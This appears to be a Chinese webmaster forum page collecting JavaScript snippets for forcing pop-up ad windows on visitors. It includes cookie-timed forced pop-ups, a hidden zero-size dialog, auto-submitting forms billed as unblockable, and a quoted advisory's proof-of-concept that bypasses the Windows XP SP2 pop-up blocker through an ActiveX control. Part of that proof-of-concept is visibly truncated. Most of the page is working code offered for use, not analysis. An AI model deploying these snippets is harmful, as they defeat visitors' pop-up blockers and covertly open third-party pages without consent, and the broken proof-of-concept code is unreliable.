两个窗口的弹出代码
1、延迟 定时 强制弹出代码
参数解释:
设置时间:Then.setTime(Then.getTime() + 1*60*60*1000)
support/jgwy.htm(过渡网页)
http://www.huoxu.com 中的 http://弹出网页/ 是要弹出的网页
scroll:1(滚动条)
status:1(状态栏)
help:1(帮助按钮) =
toolbar=1(工具栏)
resizable:1(是否可以用鼠标拖动改变大小)
dialogWidth:800px(宽度)
dialogHeight:600px(高度)
3000(延迟弹出的时间,单位:毫秒。1秒=1000毫秒)
<!--弹出广告-->
<script language="javascript">
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 1*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=POPWIN;expires="+ Then.toGMTString()
focusid=setTimeout("focus();window.showModelessDialog
('http://www.huoxu.com','','scroll:0;status:0;help:0;resizable:0;dialogWidth:0px;dialogHeight:0px')",3000)
window.focus();
}
}Get();
</script>
<!--弹出结束-->
http://www.huoxu.com/tan1.htm的内容
<script language="javascript">
<!--
window.open("
http://www.diyige.com/");
//-->
</script>
<script LANGUAGE="javascript">
<!--
setTimeout('window.close();', 0)
//-->
</script>
本代码可以实现同一IP一定时间内只弹出一次,可以实现延迟弹出,可以实现强制弹出!
--------------------
2、弹两个窗口的弹出代码
<script LANGUAGE="javascript">
<!--
function openwin()
{ window.open ("
http://www.huoxu.com", "newwindow", "height=100, width=100, top=0,left=0,toolbar=no, menubar=no,
scrollbars=no, resizable=no, location=no, status=no")
//写成一行
window.open ("
http://www.diyige.com", "newwindow2", "height=100, width=100, top=100, left=100,toolbar=no, menubar=no,
scrollbars=no, resizable=no, location=no, status=no")
//写成一行
}
//-->
</script>
为避免弹出的2个窗口覆盖,用top和left控制一下弹出的位置不要相互覆盖即可。最后用上面说过的四种方法调用即可。
注意:2个窗口的name(newwindows和newwindow2)不要相同,或者干脆全部为空。
----------------------
3、发一个弹出代码 新浪联盟的
<script language='javascript'>function MM_openBrWindow(theURL,winName,features){ window.open(theURL,winName,features); }
MM_openBrWindow('http://unionpfp.sina.com.cn/partner/tanchu_a.html id=28537&width=348&ddt=0', '',
'location=yes,resizable=yes,width=348 height=306');</script>
----------------------
4、发现~无敌弹出代码 ~使用表单提交
<html>
<head>
<title>http://www.huoxu.com</title>
</head>
<body onload="javascript:document.eudx.submit();">
<form name="eudx" method="POST" action="
http://www.diyige.com " target="_blank">
</form>
</body>
</html>
嘎嘎。。MYIE 也 能弹。。 这个 可以运用到很多地方......
----------------------
5、
<!--弹出广告-->
<script language="javascript">
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 1*50*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=POPWIN;expires="+ Then.toGMTString()
focusid=setTimeout("focus();window.showModelessDialog
('http://www.huoxu.com','','scroll:0;status:0;help:0;resizable:0;dialogWidth:0px;dialogHeight:0px')",0000)
window.focus();
}
}Get();
</script>
<!--弹出结束-->
----------------------
6、简洁的弹出代码:
<script language="javascript" src="index.html"></script>
----------------------
7、这个拦不到的弹出代码,你们试试
<script>
for(i=0;i<2;i++){
document.write("<form name=form"+i+" action=http://www.huoxu.com target=_blank></form>");
eval("document.form"+i+".submit();");
}
</script>
----------------------
8、整站弹出代码
那位大哥帮帮忙,我自己有两个网站,我想在进入其中一个时弹出另外一个,该另一段什么代码(asp) 谢谢了!
function openpopup(){
window.open("
http://www.huoxu.com","ggwindow");
window.focus();
}
function get_cookie(Name) {
var search = Name + "=";
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search);
if (offset != -1) { // if cookie exists
offset += search.length;
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end));
}
}
return returnvalue;
}
function loadpopup(){
if (get_cookie('popped')==''){
openpopup();
document.cookie="popped=yes";
}
}
loadpopup();
--------------------------
pop.js
<SCRIPT language="javascript" src="../ads/pop.js"></script>
--------------------------
9、整站弹出代码
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('http://www.huoxu.com', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no,
scrollbars=no, resizable=no,location=no, status=no')
//写成一行
-->
</SCRIPT>
参数解释:
<SCRIPT LANGUAGE="javascript"> js脚本开始;
window.open 弹出新窗口的命令;
'page.html' 弹出窗口的文件名;
'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空''代替;
height=100 窗口高度;
width=400 窗口宽度;
top=0 窗口距离屏幕上方的象素值;
left=0 窗口距离屏幕左侧的象素值;
toolbar=no 是否显示工具栏,yes为显示;
menubar,scrollbars 表示菜单栏和滚动栏。
resizable=no 是否允许改变窗口大小,yes为允许;
location=no 是否显示地址栏,yes为允许;
status=no 是否显示状态栏内的信息(通常是文件已经打开),yes为允许;
</SCRIPT> js脚本结束
--------------------------
10、
<script language="javascript">
<!--
window.open ('http://www.diyige.com')
-->
</script>
--------------------------
11、javascript:window.open('你要弹的地址')
--------------------------
12、Windows XP SP2广告弹出控制插件绕过漏洞已经测试方法
Summary
Internet Explorer for XP updated with SP2 enjoys a fairly robust popup blocking mechanism. In fact, older vulnerabilities
exploited by many sites are no longer possible with the introduction of SP2 and the new popup blocker.
A way to circumvent the popup blocker has been found and it is easily exploitable as can be seen by the proof of concept
supplied with this advisory.
Details
Vulnerable Systems:
* Internet Explorer on Windows XP SP2
The vulnerability can be exploited in order to popup a dialog through the "DHTML Edit Control" with a customized script. Such
a script is listed below as a proof of concept:
<body onload="setTimeout(' main() ',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="1"
height="1"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
// 10.11.04
http://www.diyige.com
function shellscript()
{
open("
http://www.diyige.com/&qu......nk","scrollbar=no");
showModalDialog("
http://www.diyige.com");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>